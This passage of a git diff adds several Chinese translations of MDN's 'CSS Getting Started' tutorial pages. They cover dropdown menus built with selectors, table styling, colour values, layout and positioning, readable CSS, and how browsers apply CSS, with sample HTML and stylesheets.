    +  padding: 1px 10px 1px 10px;
    +  color: #fff;
    +  background: #555;
    +  border-radius: 3px;
    +  border: 1px outset rgba(50,50,50,.5);
    +  font-family: georgia, serif;
    +  font-size: 14px;
    +  font-style: italic;
    +  text-decoration: none;
    +}
    +
    +a.homepage:hover, a.homepage:focus, a.homepage:active {
    +  background-color: #666;
    +}
    +
    +
  4. +
  5. 保存文件用浏览器查看HTML文件 (将鼠标放到链接上查看效果): + + + + + + +
    Go to our Home page  
    +
  6. +
+ +

实例: 使用基于关系的选择器和伪类选择器

+ +

通过使用基于关系的选择器和伪类选择器,你可以构造出复杂的叠加算法。这是一个常用的技巧,比如可以用来创建纯CSS无JavaScript的下拉菜单(pure-CSS dropdown menus)。关键点就是创建下面这类规则:

+ +
div.menu-bar ul ul {
+  display: none;
+}
+
+div.menu-bar li:hover > ul {
+  display: block;
+}
+ +

然后将这些规则应用到下面的HTML结构中:

+ +
<div class="menu-bar">
+  <ul>
+    <li>
+      <a href="example.html">Menu</a>
+      <ul>
+        <li>
+          <a href="example.html">Link</a>
+        </li>
+        <li>
+          <a class="menu-nav" href="example.html">Submenu</a>
+          <ul>
+            <li>
+              <a class="menu-nav" href="example.html">Submenu</a>
+              <ul>
+                <li><a href="example.html">Link</a></li>
+                <li><a href="example.html">Link</a></li>
+                <li><a href="example.html">Link</a></li>
+                <li><a href="example.html">Link</a></li>
+              </ul>
+            </li>
+            <li><a href="example.html">Link</a></li>
+          </ul>
+        </li>
+      </ul>
+    </li>
+  </ul>
+</div>
+
+ +

学习实例 CSS-based dropdown menu example.

+ +

接下来是什么?

+ +

你的样式表变得多而复杂。下面章节将讲述如何让样式表更 易读.{{nextPage("/zh-CN/docs/CSS/开始/Readable_CSS", "易读的 CSS")}}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..b6b4859e99 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,509 @@ +--- +title: 表格 +slug: Web/Guide/CSS/Getting_started/Tables +translation_of: Learn/CSS/Building_blocks/Styling_tables +translation_of_original: Web/Guide/CSS/Getting_started/Tables +--- +

{{CSSTutorialTOC}}{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局")}}

+ +

这是CSS入门教程的第13部分,将介绍更多高级的选择器,以及格式表格的一些特定方法。你将创建一个包含表格的新样例文档,然后对它进行样式排版。

+ +

信息: 表格

+ +

表格是一个矩形网格中的信息安排。一些表格相当复杂,不同的浏览器对复杂的表格将会有不同的展示结果。

+ +

当你设计你的文档时,使用一个表格来表示一系列信息的关系。因为信息的意义依然清晰,所以不同浏览器用稍微不同的方式来展示表格是没有关系的。

+ +

创建表格的时候,不要用一些非常规的方式构造特殊的可视化布局,本教程的前一页(布局)使用的技术可以更好的达成目的。

+ +

表格结构

+ +

在表格中,信息显示在一个个的单元格cell)中.

+ +

在页面横向上一条直线的单元格构成了row)。

+ +

在一些表格中,行可能被分组。表格开始的特定的行组是表头header)。表格最后的特定行组是表尾footer)。表格中主要的行就是表体body),这些表体也可能被分组。

+ +

在页面纵向上一条直线的单元格构成了column),但是在CSS表格中,列的使用是受限的。

+ +
+
示例
+ +

选择器那章的基于关系的选择器就是一个五行十个单元格的表格。

+ +

第一行是表头,其余四行是表体,没有表尾。

+ +

表中有两列。

+
+ +

本教程仅仅涵盖简单表格,其呈现结果完全可以预测。在一个简单表格里,每个单元格仅占用一行一列。你可以用CSS将一个单元格扩展到多行或者多列来构造复杂表格,但是这样的表格已超出了这个基本教程所讲述的范围。

+ +

边框

+ +

单元格没有外边距。

+ +

但是单元格有边框和内边距。默认情况下,边框被表格的{{cssxref("border-spacing")}}属性值间隔。你也可以通过设置表格的{{cssxref("border-collapse")}}属性值为collapse来完全移除间隔。

+ +
+
示例
+ +

这有三个表格。

+ +

左边的表格有0.5 em的边框间隔,中间的表格是0边框间隔,右边的表格是拥有collapse的边框。

+ +
+ + + + + + + + + + + +
ClubsHearts
DiamondsSpades
+ + + + + + + + + + + + +
ClubsHearts
DiamondsSpades
+ + + + + + + + + + + + +
ClubsHearts
DiamondsSpades
+
+ +

标题

+ +

{{HTMLElement("caption")}}元素是用在整个表格的一个标签。默认下,它显示在表格的顶部。

+ +

可以设置{{HTMLElement("caption")}}的{{cssxref("caption-side")}}属性值为bottom来将标签移到表格的底部。

+ +

想要样式化caption的文本,可以使用任何常规的文本属性。

+ +
+
示例
+ +

这个表格有一个在底部的标题。

+ +
#demo-table > caption {
+  caption-side: bottom;
+  font-style: italic;
+  text-align: right;
+}
+
+ + + + + + + +
+ + + + + + + +
Suits
+ + + + + + + + + + + +
ClubsHearts
DiamondsSpades
+
+
+
+ +

空单元格

+ +

你可以通过为表格元素指定{{cssxref("empty-cells")}}属性值show来显示空单元格(就是其边框和背景)。

+ +

你也可以指定empty-cells: hide;来隐藏边框和背景,那么如果一个单元格的父元素设置了背景,背景将通过空单元格显示出来。

+ +
+
实例
+ +

这些表格有苍绿色的背景,其单元格有苍灰色的背景和深灰色的边框。

+ +

左边的表格,空单元格是显示的。在右边,空单元格是隐藏的。

+ + + + + + + + +
+ + + + + + + + + + + +
 Hearts
DiamondsSpades
+
+ + + + + + + + + + + +
 Hearts
DiamondsSpades
+
+
+ +
+
细节
+ +

请查看CSS规范中的表格来获得更多关于表格的细节信息。

+ +

规范中有比该教程更进一步的信息,但它不包括浏览器可能会影响复杂表格之间的差异。

+
+ +

实例: 设计表格样式

+ +
    +
  1. 创建一个新的HTML文档, doc3.html。 复制粘贴以下内容,请确保通过滚动获取全部内容: + +
    +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +    <title>Sample document 3</title>
    +    <link rel="stylesheet" href="style3.css">
    +  </head>
    +  <body>
    +    <table id="demo-table">
    +      <caption>Oceans</caption>
    +      <thead>
    +        <tr>
    +          <th></th>
    +          <th>Area</th>
    +          <th>Mean depth</th>
    +        </tr>
    +        <tr>
    +          <th></th>
    +          <th>million km<sup>2</sup></th>
    +          <th>m</th>
    +        </tr>
    +      </thead>
    +      <tbody>
    +        <tr>
    +          <th>Arctic</th>
    +          <td>13,000</td>
    +          <td>1,200</td>
    +        </tr>
    +        <tr>
    +          <th>Atlantic</th>
    +          <td>87,000</td>
    +          <td>3,900</td>
    +        </tr>
    +        <tr>
    +          <th>Pacific</th>
    +          <td>180,000</td>
    +          <td>4,000</td>
    +        </tr>
    +        <tr>
    +          <th>Indian</th>
    +          <td>75,000</td>
    +          <td>3,900</td>
    +        </tr>
    +        <tr>
    +          <th>Southern</th>
    +          <td>20,000</td>
    +          <td>4,500</td>
    +        </tr>
    +      </tbody>
    +      <tfoot>
    +        <tr>
    +          <th>Total</th>
    +          <td>361,000</td>
    +          <td></td>
    +        </tr>
    +        <tr>
    +          <th>Mean</th>
    +          <td>72,000</td>
    +          <td>3,800</td>
    +        </tr>
    +      </tfoot>
    +    </table>
    +  </body>
    +</html>
    +
    +
    +
  2. +
  3. 创建一个新的样式表 style3.css。复制粘贴一些内容,通过滚动获取全部内容: +
    /*** Style for doc3.html (Tables) ***/
    +
    +#demo-table {
    +  font: 100% sans-serif;
    +  background-color: #efe;
    +  border-collapse: collapse;
    +  empty-cells: show;
    +  border: 1px solid #7a7;
    +}
    +
    +#demo-table > caption {
    +  text-align: left;
    +  font-weight: bold;
    +  font-size: 200%;
    +  border-bottom: .2em solid #4ca;
    +  margin-bottom: .5em;
    +}
    +
    +
    +/* basic shared rules */
    +#demo-table th,
    +#demo-table td {
    +  text-align: right;
    +  padding-right: .5em;
    +}
    +
    +#demo-table th {
    +  font-weight: bold;
    +  padding-left: .5em;
    +}
    +
    +
    +/* header */
    +#demo-table > thead > tr:first-child > th {
    +  text-align: center;
    +  color: blue;
    +}
    +
    +#demo-table > thead > tr + tr > th {
    +  font-style: italic;
    +  color: gray;
    +}
    +
    +/* fix size of superscript */
    +#demo-table sup {
    +  font-size: 75%;
    +}
    +
    +/* body */
    +#demo-table td {
    +  background-color: #cef;
    +  padding:.5em .5em .5em 3em;
    +}
    +
    +#demo-table tbody th:after {
    +  content: ":";
    +}
    +
    +
    +/* footer */
    +#demo-table tfoot {
    +  font-weight: bold;
    +}
    +
    +#demo-table tfoot th {
    +  color: blue;
    +}
    +
    +#demo-table tfoot th:after {
    +  content: ":";
    +}
    +
    +#demo-table > tfoot td {
    +  background-color: #cee;
    +}
    +
    +#demo-table > tfoot > tr:first-child td {
    +  border-top: .2em solid #7a7;
    +}
    +
    +
  4. +
  5. 在浏览器打开文档,它将看起来像下面一样: + + + + + + +
    +
    +

    Oceans

    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
     AreaMean depth
     million km2m
    Arctic:13,0001,200
    Atlantic:87,0003,900
    Pacific:180,0004,000
    Indian:75,0003,900
    Southern:20,0004,500
    Total:361,000 
    Mean:72,0003,800
    +
    +
    +
    +
  6. +
  7. 对比样式表里显示表格的规则来确保你理解每一条规则的效果。如果你发现你不明白某一条,注释掉,然后刷新浏览器来看看发生什么。下面是关于该表格一些注意事项: +
      +
    • 标题是放在表格边框的外面的;
    • +
    • 如果你在可选项中设置了最小点尺寸,它可能会影响km2这样的上标;
    • +
    • 有三个空单元格,其中两个显示了表格的背景色,第三个有单元格自己的背景和上边框;
    • +
    • 冒号是通过样式表来添加的。
    • +
    +
  8. +
+ +
+
挑战
+ +

更改样式表来使表格像下面一样显示:

+ + + + + + + +
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 AreaMean depth
 million km2m
Arctic:13,0001,200
Atlantic:87,0003,900
Pacific:180,0004,000
Indian:75,0003,900
Southern:20,0004,500
Total:361,000 
Mean:72,0003,800
+
+ +

Oceans

+
+
+
+ +

查看挑战的答案。

+ +

接下来?

+ +

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Media", "媒体")}}这是本教程关于CSS属性和值的最后一页。请查看CSS规范中的完全属性表来获得完整的属性和值的信息。

+ +

下一页将再次着眼于CSS样式表的目的和结构。

+
diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..a9348bd9bd --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,333 @@ +--- +title: Color +slug: Web/Guide/CSS/Getting_started/Color +translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors +translation_of_original: Web/Guide/CSS/Getting_started/Color +--- +

{{ CSSTutorialTOC() }}

+ +

{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Text_styles", "文本样式")}}这是 CSS入门教程 系列的第8部分; 介绍了如何在你的CSS文件中运用颜色值. 在示例样式表中,介绍了背景颜色.

+ +

关于: 颜色

+ +

到目前为止,在这个系列中,都很少用到用名字命名的颜色属性。CSS2支持17种名字的颜色。其中有一些可能不像你期望的那样,如下图:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
blackgraysilverwhite
主要的redlimeblue
次要  yellowaquafuchsia
maroonorangeolivepurplegreennavyteal
+ + + +
+
细节
+ +
你的浏览器可能支持更多名字命名的颜色,比如:
+ +
+ + + + + + + + + + + + + + + + +
dodgerbluepeachpufftanfirebrickaquamarine
+ +

对于更多存在的名字的颜色命名你可以参看CSS 3颜色模块中的: SVG color keywords 部分. 一定要注意的是,使用名字命名颜色的时候,有可能用户的浏览器是不支持的。

+
+ +

对于更多地颜色,你可以使用代表红,绿,蓝三个颜色的16进制数字来表示。16进制数字的范围0-9,a-f。其中a-f代表的数值就是10-15:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#000
纯 红#f00
纯 绿#0f0
纯 蓝#00f
#fff
+ +


+ 要得到浏览器能够呈现的所有的颜色,你就得使用两个16进制来表示(也就是6位):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#000000
纯红#ff0000
纯绿#00ff00
纯蓝#0000ff
#ffffff
+ +

你能够从你的画图程序或者其他的工具上得到6位的颜色数值.

+ +
+
例如
+ +

可以通过调整3位数字来得到不同的颜色:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
从纯红开始:#f00
让它淡一点,加一些绿色和蓝色:#f77
让它更偏橙色一些,多加一些绿色:#fa7
让它更深一些,所有的颜色部分,红,绿,蓝都要减少:#c74
让它的饱和度更低一些,所有的颜色值都调整到差不多大小:#c98
如果所有的颜色值都相等,那么就变成了灰色:#ccc
+ +

对于浅色,比如说淡蓝色:

+ + + + + + + + + + + + + + +
从纯白色开始:#fff
稍微降低一下各个颜色值:#eef
+
+ +
+
更多细节
+ +

还能够通过RGB值(0-255或者是百分比值),来得到颜色

+ +

比如,下面是深红色的RGB表示法:

+ +
rgb(128, 0, 0) 
+ +

对于如何指定颜色的所有信息,可以参看 CSS规范中的: Colors 部分.

+ +

更多关于系统颜色的说明,比如菜单、等,可以参看CSS规范中得: CSS2 System Colors 部分.

+
+ +

颜色属性

+ +

你已经在文本中使用了 {{ cssxref("color") }} 属性.

+ +

同样可以使用{{ cssxref("background-color") }} 属性来改变元素的背景色.

+ +

背景色可以设置 transparent 属性来移除掉所有的颜色,呈现出父元素的背景色

+ +
+
例如
+ +

在本指南中,例如 文本框使用了淡黄色来表示背景色:

+ +
background-color: #fffff4;
+
+ +

更多细节 文本框使用了下面的淡灰色 :

+ +
background-color: #f4f4f4;
+
+
+ + + +

实践: 使用颜色代码

+ +
    +
  1. 编辑你的CSS文件.
  2. +
  3. 下面用粗体显示的部分,表示首字母用淡蓝色显示. (你的文件中的布局和注释可能与下面所示的不同。按照你喜欢的方式来组织它们吧!) +
    /*** CSS 手册: 颜色页面 ***/
    +
    +/* 页面 字体 */
    +body {font: 16px "Comic Sans MS", cursive;}
    +
    +/* 段落 */
    +p {color: blue;}
    +#first {font-style: italic;}
    +
    +/* 首字母 */
    +strong {
    +  color: red;
    +  background-color: #ddf;
    +  font: 200% serif;
    +  }
    +
    +.carrot {color: red;}
    +.spinach {color: green;} 
    +
  4. +
  5. 保存文件,刷新浏览器看结果.
  6. +
+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +
+
挑战
+ +

在你的CSS文件中,把所有的代码颜色的名字用3位16进制数字的方式表示出来.

+ +

(不能完全做出来,不过能够最的很接近。如果要准备的表示颜色名字的话,需要6位16进制你需要查一下CSS规范或者是工具来得到一致的颜色.)

+ +
+
Possible solution
+ +

The following values are reasonable approximations of the named colors:

+ +
strong {
+  color: #f00; /* red */
+  background-color: #ddf; /* pale blue */
+  font: 200% serif;
+}
+
+.carrot {
+  color: #fa0; /* orange */
+}
+
+.spinach {
+  color: #080; /* dark green */
+}
+
+p {
+  color: #00f; /* blue */
+}
+
+ + +Hide solution
+查看解决的方法.
+ +

下一步?

+ +

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Content", "内容")}}. 示例文本和示例样式表是严格分开的。在 下一节 将介绍在什么情况下可以允许他们不分开.

diff --git a/files/zh-cn/conflicting/learn/css/css_layout/index.html b/files/zh-cn/conflicting/learn/css/css_layout/index.html new file mode 100644 index 0000000000..ecd91f80e1 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/css_layout/index.html @@ -0,0 +1,368 @@ +--- +title: 布局 +slug: Web/Guide/CSS/Getting_started/Layout +translation_of: Learn/CSS/CSS_layout +translation_of_original: Web/Guide/CSS/Getting_started/Layout +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/CSS/开始/Boxes", "盒模型")}}本文是 CSS入门教程 的第12部分; 主要讲述一些修改页面布局的方法。 你可以通过学习来修改自己示例的布局。

+ +

说明: 布局

+ +

你可以通过 CSS 来设置布局的炫酷效果。其中所涉及的部分高阶技术并不是本文范畴。

+ +

当你设计一个简单布局时, 你的样式表与浏览器默认样式表之间的交互、以及与布局引擎的交互都是相当复杂的。 这也是一个高阶话题,并不在本文范畴。

+ +

本文主要介绍一些简单的布局方法。(高阶技术请参阅外部链接 学习高级布局

+ +

文档结构

+ +

当你想控制文档布局时,就不得不改变它的结构。

+ +

页面标记语言通常都会有公共标签来创建结构。例如, 在 HTML 中你可以使用 {{ HTMLElement("div") }} 元素来创建结构。

+ +
+
示例
+ +

在你的示例中, 编号段落并没有自己的容器。

+ +

你的样式表无法为这些段落画出边框,因为没有选择器指向它们。

+ +

为了解决这个问题, 你可以在段落之外添加一个{{ HTMLElement("div") }} 。这个标签是唯一的,可以指定一个id属性来标识:

+ +
<h3>Numbered paragraphs</h3>
+<div id="numbered">
+  <p>Lorem ipsum</p>
+  <p>Dolor sit</p>
+  <p>Amet consectetuer</p>
+  <p>Magna aliquam</p>
+  <p>Autem veleum</p>
+</div>
+
+ +

现在可以通过样式表在每个列表周围画出边框了:

+ +
ul, #numbered {
+  border: 1em solid #69b;
+  padding-right:1em;
+}
+
+ +

运行结果如下:

+ + + + + + + +
+

(A) The oceans

+ +
+
    +
  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+
+ +

(B) Numbered paragraphs

+ +
+

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+
+
+ +

大小单位

+ +

到目前为止,你可以通过像素来指定大小。这在有些情况下是非常合适的,比如电脑屏幕显示。 但当用户改变字体大小之后,你的布局可能会发生错位。

+ +

因此,最好通过百分比或 ems (em) 来指定大小。 em 通常是指当前字体大小(字母m的宽度)。当用户改变字体大小时,你的布局会自己修正。

+ +
+
示例
+ +

文本左边的border通过像素来指定大小。

+ +

文本右边的border通过 ems来指定大小。

+ +

在你的浏览器中,修改字体大小,会发现右边的border会自己修正大小而左边的不会。:

+ + + + + + + +
+
RESIZE ME PLEASE
+
+
+ +
+
更多详情
+ +

对于其它设备,其它的长度单位可能更合适。

+ +

在本指南中会有其它篇幅详细介绍这一点。

+ +

更多详情参见CSS说明中 Values .

+
+ +

文本布局

+ +

有两个属性可以指定元素内容的对齐方式。你可以用它们来进行简单的布局:

+ +
+
{{ cssxref("text-align") }}
+
内容对齐。 可以使用下面几个值: left, right, center, justify
+
{{ cssxref("text-indent") }}
+
指定内容缩进。
+
+ +

这两个属性可以应用于任何文本类内容,不只是纯文本。 需要注意的是,它们会被元素的子元素继承, 所以需要在子元素中将它们关闭,以免出现意想不到的效果。

+ +
+
示例
+ +

标题居中:

+ +
h3 {
+  border-top: 1px solid gray;
+  text-align: center;
+}
+
+ +

输出结果:

+ + + + + + + +
+

(A) The oceans

+
+ +

在 HTML 文档中, 标题之后的内容并不属于标题。当你对齐一个标题时,其后的元素不会继承该样式。

+
+ +

浮动

+ +

 {{ cssxref("float") }} 属性强制元素靠左或靠右。 这是控制元素位置和大小的简单方法。

+ +

本文剩下部分都是围绕浮动元素展开。你可以使用 {{ cssxref("clear") }} 属性来避免其它元素受到浮动效果的影响。

+ +
+
示例
+ +

在你的示例中,list是根据窗口拉伸。你可以通过使用浮动元素来使它们靠左。

+ +

为了保证标题在正确的位置, 你必须为标题指定clear属性来避免标题靠左:

+ +
ul, #numbered {float: left;}
+h3 {clear: left;}
+
+
+ +

运行结果如下:

+ + + + + + + +
+

(A) The oceans

+ +
+
    +
  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+
+ +

(B) Numbered paragraphs

+ +
+

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+
+ +

(box右侧需要增加一些padding ,防止文本与边框太近)

+ +

位置

+ +

你可以为一个元素指定  {{ cssxref("position") }} 属性为以下值之一,来设置其位置。

+ +

这些是高阶属性。 可以通过简单的方式来使用它们—这也是在基础教程里提到它们的原因。但使用它们来实现复杂的布局会相对困难一些。

+ +
+
relative
+
通过为元素指定一个值,元素相对于其原来位置移动。也可以使用margin来达到同样的效果。
+
fixed
+
为元素指定相对于窗口的确切位置 。即使文档的其它元素出现滚动,元素位置仍然不变。
+
absolute
+
为元素指定相对于其父元素的确切位置。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
+
static
+
默认值。当明确要关闭位置属性时使用。
+
+ +

position 属性(除了 static)一起使用的, 有下列属性: top, right, bottom, left, width, height 通过设置它们来指定元素的位置或大小。

+ +
+
示例
+ +

为了放置两个元素,一个在另外一个上方, 创建一个父容器来包含两个子元素:

+ +
<div id="parent-div">
+  <p id="forward">/</p>
+  <p id="back">\</p>
+</div>
+
+ +

在你的样式表里,将父容器的position设置为 relative。无需为它设置任何具体变动。 将子元素的position属性设置为 absolute:

+ +
#parent-div {
+  position: relative;
+  font: bold 200% sans-serif;
+}
+
+#forward, #back {
+  position: absolute;
+  margin:0px; /* no margin around the elements */
+  top: 0px; /* distance from top */
+  left: 0px; /* distance from left */
+}
+
+#forward {
+  color: blue;
+}
+
+#back {
+  color: red;
+}
+
+ +

输出结果如下,反斜杠显示在斜杠上方

+ +
+

/

+ +

\

+
+ + + + + + + +
 
+
+ +
+
更多详情
+ +

更多详情的postion说明在 CSS Specification 中占用了两个章节: Visual formatting modelVisual formatting model details.

+ +

如果你的样式表工作在多种浏览器环境下,你会发现不同浏览器对标准协议的解释会有很多不同, 而且特定浏览器的特定版本可能存在BUG。

+
+ +

实践: 设置布局

+ +
    +
  1. 修改示例文档, doc2.html, 和样式表, style2.css, 使用之前的示例 文档结构 and 浮动.
  2. +
  3. 浮动 示例中, 添加padding 来分离文本和右侧border ,值设为0.5 em.
  4. +
+ +
+
挑战
+ +

修改示例文档, doc2.html, 在文档末尾添加一个标签, 注意在</body>之前。

+ +
<img id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
+
+ +

如果你在之前的教程中没有下载过该图片, 现在下载, 将它与示例文件放在同一目录下:

+ + + + + + + +
Image:Yellow-pin.png
+ +

预测一下你的图片将会出现在哪里,然后刷新浏览器验证一下。

+ +

在样式表中添加一条规则,将图片显示在文档右上角。

+ +

刷新浏览器并把窗口拉小。 查看图片是否在右上角,拖动容器大小,再次查看。

+ +
+
+

(A) The oceans

+ +
+
    +
  • Arctic
  • +
  • Atlantic
  • +
  • Pacific
  • +
  • Indian
  • +
  • Southern
  • +
+
+ +

(B) Numbered paragraphs

+ +
+

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+ +

 

+ +
Yellow map pin
+
+
+
+ +

 查看该挑战的解决方案

+ +

接下来是什么?

+ +

{{ nextPage("/zh-CN/docs/CSS/开始/Tables", "表格") }}你几乎已经学习了这篇CSS基本教程的所有主题。接下来将描述更多CSS规则的高级选择器,以及你可以用来展示表格的一些特定方法。

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html new file mode 100644 index 0000000000..17553c5013 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html @@ -0,0 +1,167 @@ +--- +title: 创建可读性良好的CSS +slug: Web/Guide/CSS/Getting_started/Readable_CSS +translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable +translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Selectors", "选择器")}}这是CSS入门教程系列教程的第6部分; 本节讨论了CSS语言自身的样式及语法。你可以更改CSS示例文件的代码外观,来使其更具可读性。

+ +

资料:创建可读性良好的 CSS

+ +

你可以通过添加空白字符和注释来提高样式表的可读性。你也可以把不同的选择器放到一组中来,这样同一样式可以应用到这一组中。

+ +

空白字符

+ +

空白字符是指空格、tab字符和换行。你可以通过添加这些空白字符来提高样式表的可读性。

+ +

对页面而言,空白字符也是页面的一个组成部分,它的效果就是创造了边距、分割,还有行和列间的空白。

+ +

如果你的样式表中一行只有一条规则,那这是使用空白字符最少的情况。但是,对于复杂的样式表而言,这可能不便于阅读,而且维护起来也比较困难。

+ +

样式表的书写风格可以根据你自己的喜好来选择。但是,如果你开发的项目需要分享给他人,那就很有必要来制定一些书写规范。

+ +
+
示例
+ +

有人喜欢我们这里使用的紧凑的书写风格,但是如果规则较长的时候就需要来进行分割:

+ +
.carrot {color: orange; text-decoration: underline; font-style: italic;}
+
+ +

也有人喜欢下面这种每行只写一个属性-值的风格:

+ +
.carrot
+{
+color: orange;
+text-decoration: underline;
+font-style: italic;
+}
+
+ +

还有人喜欢缩进(两个空格、四个空格,或者tab键是最常用的方式):

+ +
.carrot {
+  color: orange;
+  text-decoration: underline;
+  font-style: italic;
+}
+
+ +

还有人喜欢这种垂直对齐的方式(这种方式比较难维护):

+ +
.carrot
+    {
+    color           : orange;
+    text-decoration : underline;
+    font-style      : italic;
+    }
+
+ +

有些人混合使用空白字符来提高可读性:

+ +
.vegetable         { color: green; min-height:  5px; min-width:  5px }
+.vegetable.carrot  { color: orange;    height: 90px;     width: 10px }
+.vegetable.spinach { color: darkgreen; height: 30px;     width: 30px }
+
+
+ +

而且,在使用的空白字符的时候,有人喜欢用tab键,有人喜欢使用空格。

+ +

注释

+ +

CSS注释以/* 开始,以 */结束。

+ +

你可以在样式表中写些实际意义的注释,也可以是为了测试的目的而写的临时性的注释内容。

+ +

对于样式表中的注释内容一定要写在注释标签内,这样浏览器在解析的时候会忽略注释。一定要注意注释的起始标签。样式表的其他部分始终要符合语法规则。

+ +
+
示例
+ +
/* style for initial letter C in first paragraph */
+.carrot {
+  color:            orange;
+  text-decoration:  underline;
+  font-style:       italic;
+  }
+
+
+ +

选取器组

+ +

当很多元素具有相同的样式时,你就需要定义一个选择器组,组内用逗号分隔。这样声明的样式就会应用到组内所有的选择器上。

+ +

在样式表的其他地方,你也可以单独对这些选择器重新设置样式,这些样式会应用到相应的选择器上。

+ +
+
示例
+ +

这条规则将 {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, 和 {{ HTMLElement("h3") }} 匹配到的元素设置为相同颜色。

+ +

将定义颜色的规则写在一个地方是正确的,因为有些时候,这个颜色值可能需要统一修改。

+ +
/* color for headings */
+h1, h2, h3 {color: navy;}
+
+
+ +

实践:添加注释来提高展现力

+ +
    +
  1. 编辑你的样式表,将下面的几条规则添加进去(规则顺序可以任意设置): +
    strong {color: red;}
    +.carrot {color: orange;}
    +.spinach {color: green;}
    +#first {font-style: italic;}
    +p {color: blue;}
    +
    +
  2. +
  3. 为了让代码变得可读性更高,你需要通过分析其中的联系来对代码重新排序,并选择你认为最合适的方式来添加一些空白字符和注释。
  4. +
  5. 保存文件并刷新浏览器页面,要确保你更改后代码不影响原来的显示效果: + + + + + + + + + +
    Cascading Style Sheets
    Cascading Style Sheets
    +
  6. +
+ +
+
挑战
+ +

将你的样式表中的部分内容改为注释,以使文档的第一个字母颜色变为红色,但是注意不要改变其他任何内容:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +

(这个不止一种解决方案。)

+ +
+
一种解决方法:
+其中一种解决办法就是给.carrot添加注释: + +
.carrot {
+  color: orange;
+}
+
+A more specific selector, p#second also works. Hide solution
+查看解决方案
+ +

接下来是什么?

+ +

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Text_styles", "文本样式") }} 本节中,你的示例样式使用了 italic 文本以及 underlined 文本。 下一节将描述更多的方式来 详细指定文本的外观 。

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html new file mode 100644 index 0000000000..fce3091715 --- /dev/null +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html @@ -0,0 +1,121 @@ +--- +title: CSS如何工作 +slug: Web/Guide/CSS/Getting_started/How_CSS_works +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works +--- +

{{ CSSTutorialTOC() }}

+ +

{{ previousPage("/zh-CN/docs/CSS/开始/为何使用CSS", "为何使用CSS?") }}这是 CSS Getting Started 教程的第三章; 这章解释了CSS在浏览器中是如何工作的。 你可以通过分析示例代码来看看样式表中的详细信息。

+ +

信息:CSS 如何工作

+ +

浏览器在展现一个文档的时候,必须要把文档内容和相应的样式信息结合起来展示。 这个处理过程一般分两个阶段:

+ +
    +
  1. 浏览器先将标记语言和CSS转换成DOM (文档对象模型)结构。 这时DOM 就代表了电脑内存中的相应文档,因为它已经融合了文档内容和相应的样式表。
  2. +
  3. 最后浏览器把 DOM的内容展示出来。
  4. +
+ +

标记语言通过使用“元素”来定义文档结构。你需要使用一些以'<'开头和以'>'结尾的字符串,俗称tags,来构成元素。这些元素一般是在'< >'里加上元素名来作为起始tag,在'< >'里加上'/'和元素名的组合来构成结束tag。标记语言中规定,一些元素可以只有一个起始tag,或者构成元素的tag只有一个,但是这个tag里的名称后面必须要加个'/'。

+ +

元素也可以作为容器而存在,这样可以把其他元素放到这个元素的起始tag和结束tag之间。

+ +

DOM是一种树形结构。 每个元素和非空文本都可以看做是树形结构上的一个结点。DOM结点不再是容器,但是,它可以作为子结点的父类结点而存在。

+ +
+
示例
+在示例代码中, 我们使用 <p> 标签和它的结束标签 </p> 构造了一个容器: + +
<p>
+  <strong>C</strong>ascading
+  <strong>S</strong>tyle
